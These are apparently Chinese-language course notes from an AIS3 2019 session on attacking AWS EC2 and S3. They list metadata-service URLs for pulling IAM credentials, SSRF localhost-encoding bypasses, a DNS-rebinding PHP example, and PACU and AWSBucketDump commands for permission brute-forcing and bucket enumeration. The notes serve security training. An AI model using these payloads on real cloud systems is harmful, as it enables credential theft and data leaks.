筆記
ais3
2019
這個session講者主要講EC2的細節和可能的問題,雲端和一般主機有相同風險,但除了這些之外,還可能有來源疑慮(AMI Market),以及雲端環境與一般環境不同的機制。
AMI - Amazon Machine Image
AMI 封裝方式:主系統(加密)、儲存區
雲端主機部署通常是大量的,那要怎麼設定主機?EC2是在每個instance上跑cloud-init
從metadata service獲取設定並設定該主機。而metadata service就可能給入侵者透露某些重要資訊。眾多雲端服務提供商皆是以此種形式設定Instance
如果要存取Metadata Service,通常要在該容器裡存取某特定IP位置,以獲取metadata:
169.254.169.254
192.0.0.192
100.100.100.200
除了GCP之外,其他的存取方式都差不多
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/identity-credentials/
GCP存取metadata要設定header,感覺稍微增加了一點複雜度(?
設定headerX-Google-Metadata-Request: True
訪問http://169.254.169.254/computeMetadata/v1/
;但奇怪的事竟然存在不用設定header也能訪問的:http://metadata.google.internal/computeMetadata/v1beta1/
從metadata可以拿到特定RoleName的敏感內容:http://169.254.169.254/latest/meta-data/iam/security-credentials/RoleName
上頭的RoleName其實是IAM Role,而IAM(Identity and Access Management)是AWS用於管理服務、資源存取的權限,可以建立使用者、群組來管理存取AWS的權限
可以發現從metadata可以拿到特定role的AccessKeyId
, SecretAccessKey
跟Token
,我們的目的就是要拿到metadata中的敏感資料。可以利用以下手法拿取:
接下來講者說根據pre-exam的情況,他詳細介紹SSRF的細節:攻擊面、成因。
Location: scheme://IP:Port/Path
127.1
127.0x0.0x00.1
2130706433
decimal[::]
0000::1
A.1.1.1.1.1time.127.0.0.1.1times.repeat.rebind.network
<== 這是一串網址
<?php
$domain='xxx.com'; // 1.1.1.1 (pass)
$ip=gethostbyname($domain);
if(!in_blacklist($ip)) {
$content=file_getcontents($domain); // 127.0.0.1
}
接著便有兩題lab題,都是SSRF去拿metadata資料
拿到了IAM Security Credentials之後,檢查Role的權限,好使用此role去存取別的服務。如果有IAM查閱權,則可以直接用API獲得權限表;反之,如果沒有查閱權,則可以遍歷所有API。講者也介紹了一個工具:PACU - AWS exploitation framework,用於exploit AWS的服務。
在使用PACU之前,得先匯入role的資訊到~/.aws/credentials
可以直接新建一個檔案,或是使用aws-cli來新建credentails,匯入的key等資訊就填入先前從metadata獲得的資訊即可。
python3 pacu.py
打開PACU後,import_keys <profile name>
匯入先前設定的credential至PACU中,可以用whoami
檢查是否有成功匯入
list
可以查看可用的功能,執行run iam__bruteforce_permissions
枚舉可用的權限
如果S3的權限沒設定好,則可能造成資料外洩:s3-leaks。而有人也提供了一個服務,可以搜尋網路上公開的s3:https://buckets.grayhatwarfare.com/
bucket 名稱唯一
網址格式
<bucket name>.s3-地區.amazonaws.com
s3-地區.amazonaws.com/<bucket name>
ais3-sample.s3-ap-northeast-1.amazonaws.com
地區列表: https://docs.aws.amazon.com/en_us/general/latest/gr/rande.html#s3_region
如果網站是自訂網域?
img.ais3.org
,而不是ais3.s3.amazonaws.com
img.ais3.org.s3-地區.amazonaws.com
觀察header
字典檔
AWSBucketDump
python AWSBucketDump.py -l 字典檔 -g 關鍵字 -D -m 大小限制 -t 4
接著小lab,用工具爆破兩個s3 bucket。
TOOD
or
or
By clicking below, you agree to our terms of service.
New to HackMD? Sign up
Syntax | Example | Reference | |
---|---|---|---|
# Header | Header | 基本排版 | |
- Unordered List |
|
||
1. Ordered List |
|
||
- [ ] Todo List |
|
||
> Blockquote | Blockquote |
||
**Bold font** | Bold font | ||
*Italics font* | Italics font | ||
~~Strikethrough~~ | |||
19^th^ | 19th | ||
H~2~O | H2O | ||
++Inserted text++ | Inserted text | ||
==Marked text== | Marked text | ||
[link text](https:// "title") | Link | ||
 | Image | ||
`Code` | Code |
在筆記中貼入程式碼 | |
```javascript var i = 0; ``` |
|
||
:smile: | ![]() |
Emoji list | |
{%youtube youtube_id %} | Externals | ||
$L^aT_eX$ | LaTeX | ||
:::info This is a alert area. ::: |
This is a alert area. |
On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?
Please give us some advice and help us improve HackMD.
Do you want to remove this version name and description?
Syncing